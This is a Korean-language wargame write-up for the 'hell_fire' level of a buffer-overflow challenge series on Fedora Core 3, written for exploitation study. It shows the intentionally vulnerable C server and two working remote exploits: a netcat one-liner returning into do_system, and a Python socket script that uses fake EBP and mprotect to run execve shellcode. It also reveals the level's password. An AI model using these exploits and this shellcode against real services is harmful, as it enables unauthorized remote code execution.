[FC3]Level3. hell_fire

 

Another Fake EBP or got Overwriting

/*
  The Lord of the BOF : The Fellowship of the BOF
  - hell_fire
  - Remote BOF on Fedora Core 3
  - hint : another fake ebp or got overwriting
  - port : TCP 7777
*/

#include <stdio.h>

int main()
{
  char buffer[256];
  char saved_sfp[4];
  char temp[1024];

  printf("hell_fire : What's this smell?\n");
  printf("you : ");
  fflush(stdout);

  // give me a food
  fgets(temp, 1024, stdin);

  // save sfp
  memcpy(saved_sfp, buffer+264, 4);

  // overflow!!
  strcpy(buffer, temp);

  // restore sfp
  memcpy(buffer+264, saved_sfp, 4);

  printf("%s\n", buffer);
}

파일을 보면 setuid가 설정되어 있지 않는다.

그리고 소스코드를 보면 tcp 7777포트로 실행됨을 암시하는 힌트가 있다.

즉, 해당 프로그램은 서버에서 동작하기 때문에 앞문제에서 풀었던 ret sleding을 이용한 풀이는 불가능 하다.

소스코드의 특이점을 살펴보면, stdin에서 fgets을 이용해 값을 가져와 temp에 1024Byte만큼 저장하고, strcpy로 다시 tmp에서 buffer로 값을 복사한다.

0x01 : do_system()을 이용한 풀이

system함수는 내부적으로 /bin/sh -c [string] 을 실행시킨다. system함수는 기본적을 fork()와 execve()의 조합응용이다.

참조

따라서 system함수 내부에는 execve와 “/bin/sh”를 호출하는 부분이 존재한다.

즉, system함수에 내분에 do_system함수가 존재하며 이함수에서 execve함수로 “/bin/sh”를 호출하게 되는데, execve가 실행되는 주소를 ret에 넘겨주면 쉘이 실행된다.

do_system+1124 : 0x750784

위 빨간부분에 어셈을 해석해보면, execve("/bin/sh", {"/home/dark_eyes/hell_fire", NULL}, envp)가 된다.

[dark_eyes@Fedora_1stFloor ~]$ (python -c 'print "A"*268+"\x84\x07\x75\x00"';cat) | nc localhost 7777
hell_fire : What's this smell?
you : id
uid=503(hell_fire) gid=503(hell_fire) context=user_u:system_r:unconfined_t
my-pass
euid = 503
sign me up

0x02 : fake EBP를 이용한 풀이

FC3에서는 Stack ASLR, NX bit, ASCII-Armor가 걸려있다. 따라서 stack에서 쉘코드 실행 불가능하며, Library주소도 쉽게 사용하지 못한다.

따라서 주소가 고정되면서 실행 가능한 메모리 영역을 찾아야 한다.

해당 문제에서는 stdin을 사용하므로, 주소가 고정되는 stdin의 임시 버퍼영역을 사용 하면 된다.

stdin 임시버퍼 주소를 구하는 과정은 다음과 같다.

fgets함수 실행 부분이다. 빨간 네모 부분이 stdin의 주소이다.

해당 주소를 따라가면 stdin@GLIBC_2.0 영역이 나오고 그 주소를 찾아가면 stdin영역이 나오게 되는데,

stdin+12주소가 stdin의 임시버퍼 주소가 된다.

stdin 버퍼주소 : 0xf6ffe000

또 다른 문제는 해당 주소의 권한을 보니 실행 권한이 존재하지 않는다. 따라서 실행권한을 부여할 방법을 찾아야 한다.

int mprotect(const void *addr, size_t len, int prot);

mprotecrt 함수는 메모리 영역의 접근 권한을 제어할 수 있는 함수이다.

이 함수를 이용하여 stdin 임시 버퍼에 실행 권한을 주면 된다.

mprotect함수의 *addr 부분은 0x1000의 배수가 되어야 한다.

prot 부분에 “7”을 넣으면 rwx 권한을 설정한다는 뜻이 된다.

이제 Fake EBP를 이용하여 stdin 임시버퍼로 esp를 넘기면 된다.

하지만, main함수의 SFP는 복구되어 사용하지 못하기 때문에, main함수의 caller인 __libc_start_main() 함수의 EBP를 사용한다.

main함수의 SFP와 start함수의 SFP의 거리는 96Byte이다.

위와 같은 형태로 페이로드를 작성하면 된다.

최종적으로 살펴보면 다음과 같다.

image-20180809152851986

&stdin+268+4+88+4 는 쉽게 말하면 mprotect의 주소가 들어가는 버퍼의 -4주소이다.

fake EBP는 실행하고자 하는 곳의 주소 -4 를 넣어야 하므로

준비물

  • stdin : 0xf6ffe000
  • leave-ret Gadget : 0x8048369
  • mprotect : 0x714670
from socket import *
import struct

def interactive(s):
  while True:
    cmd = raw_input("# ")
    s.send(cmd + "\n")
    print s.recv(4096),

p32 = lambda x : struct.pack("<I", x)

host = 'localhost'
port = 7777

shellcode  = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"

mprotect = 0x714670
stdin_addr = 0xf6ffe000
leaveret = 0x8048369

payload  = shellcode
payload += "\x90"*(268 - len(shellcode))
payload += p32(leaveret)

payload += "\x90"*88
fake_ebp = stdin_addr + len(payload) + 4  # &mprotect 가 담기는 위치-4
payload += p32(fake_ebp)
payload += p32(leaveret)

payload += p32(mprotect)
payload += p32(stdin_addr)
payload += p32(stdin_addr)
payload += p32(1024)
payload += p32(7)

s = socket(AF_INET, SOCK_STREAM)
s.connect( (host, port) )
s.sendall(payload + "\n")
print s.recv(1024)

interactive(s)

문제를 풀면서, mprotect로 스택 영역을 권한 바꾸면 되지 않나? 라는 생각이 들었었는데, 이는 불가능 하다.

이유는 ASLR이 걸려있어 stack영역의 주소를 알 수 없기 때문. stdin버퍼 영역은 고정된 주소이기 때문에 가능하다.

hell_fire / sign me up